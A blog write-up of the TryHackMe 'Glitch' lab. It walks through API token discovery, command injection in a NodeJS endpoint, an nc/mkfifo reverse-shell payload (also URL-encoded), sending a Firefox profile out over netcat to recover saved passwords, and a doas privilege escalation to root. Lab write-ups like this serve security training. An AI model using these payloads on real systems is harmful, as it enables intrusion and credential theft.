Post

TryHackMe - Glitch


Description

Hello hackers, I hope you are doing well. We are doing Glitch from TryHackMe. The machine is running a NodeJS application with a vulnerable api that we use to get foothold. After that we find a firefox profile that we run locally to get a password. Then we exploit a binary to get root.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
Nmap scan report for 10.10.114.236
Host is up (0.13s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: not allowed
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found port 80 open running nginx 1.14.0.

Web

Let’s go to the web page.

We see a glitchy image. Let’s check the source code.

Found a hidden path(/api/access), let’s see what’s there.

Got the value of token but it’s base64 encoded. Let’s decode it and replace the current token value in the cookie with the one we just got.

Refreshing the page we get a different page.

The page doesn’t have anything useful so let’s check the source code.

We can see a javascript file script.js. Let’s check it out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(async function () {
  const container = document.getElementById('items');
  await fetch('/api/items')
    .then((response) => response.json())
    .then((response) => {
      response.sins.forEach((element) => {
        let el = `<div class="item sins"><div class="img-wrapper"></div><h3>${element}</h3></div>`;
        container.insertAdjacentHTML('beforeend', el);
      });
      response.errors.forEach((element) => {
        let el = `<div class="item errors"><div class="img-wrapper"></div><h3>${element}</h3></div>`;
        container.insertAdjacentHTML('beforeend', el);
      });
      response.deaths.forEach((element) => {
        let el = `<div class="item deaths"><div class="img-wrapper"></div><h3>${element}</h3></div>`;
        container.insertAdjacentHTML('beforeend', el);
      });
    });

  const buttons = document.querySelectorAll('.btn');
  const items = document.querySelectorAll('.item');
  buttons.forEach((button) => {
    button.addEventListener('click', (event) => {
      event.preventDefault();
      const filter = event.target.innerText;
      items.forEach((item) => {
        if (filter === 'all') {
          item.style.display = 'flex';
        } else {
          if (item.classList.contains(filter)) {
            item.style.display = 'flex';
          } else {
            item.style.display = 'none';
          }
        }
      });
    });
  });
})();

We found another path(/api/items), let’s check it.

Nothing really helpful. I checked the hint and it says What other methods does the API accept?, so i used burp suite to intercept a request and check the method from GET to POST.

Now we forward the request, we sth new.

We didn’t get anything useful, but since we can use POST to the endpoint, maybe there is a parameter the api accepts.

Let’s fuzz for that parameter using the following command:

1
ffuf -c -X POST -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -u http://10.10.114.236/api/items?FUZZ=test --fs 169

We found the parameter and it’s called cmd, so maybe we can execute command with it.

Foothold

Let’s use burp suite repeater to try the cmd parameter.

Didn’t work, but we got an error message informing us that we are dealing with an NodeJS application.

I found this article Where the author used the following command to get a reverse shell:

1
require("child_process").exec('nc <IP Attacker> 4445 -e /bin/sh')

The nc will not work so let’s change it to the following one.

1
require("child_process").exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f')

Let’s URL encode the command and put it into the parameter, set up a netcat listener and get a reverse shell.

1
require("child_process").exec('rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.10.10%209001%20%3E%2Ftmp%2Ff')

We send the request and get a shell.

Privilege Escalation

Inside user home directory, we find a hidden .firefox directory, maybe it has some saved passwords inside of it.

Let’s make an archive out of tha directory and download it into our machine.

1
2
3
user@ubuntu:~$ tar -cf firefox.tgz .firefox
user@ubuntu:~$ ls
firefox.tgz  user.txt

On our machine we setup a listener that would catch the file.

1
nc -lvnp 1234 > firefox.tgz

Back to the compromised machine, we run the following command:

1
user@ubuntu:~$ nc 10.18.0.188 1234 < firefox.tgz

Give the process some time to finish and we should see the file been transferred successfully.

Extract it with tar -xf firefox.tgz and run the following command:

1
firefox --profile .firefox/b5w4643p.default-release 

This would start a firefox instance with the profile specified, and if we go to saved password we see v0id’s password.

Now switch to void like the following:

1
2
3
user@ubuntu:~$ su v0id
Password: 
v0id@ubuntu:/home/user$

In the /opt directory, we find something very interesting.

Found a directory called doas and inside of it we find a .git.

I searched on github for doas and found this:

We can run any command as other user. Let’s run /bin/bash as root.

1
2
3
4
5
6
7
8
v0id@ubuntu:/opt/doas$ doas -h
doas: invalid option -- 'h'
usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]
v0id@ubuntu:/opt/doas$ doas -u root /bin/bash
Password: 
root@ubuntu:/opt/doas# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/opt/doas# 

Great! We got root.


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.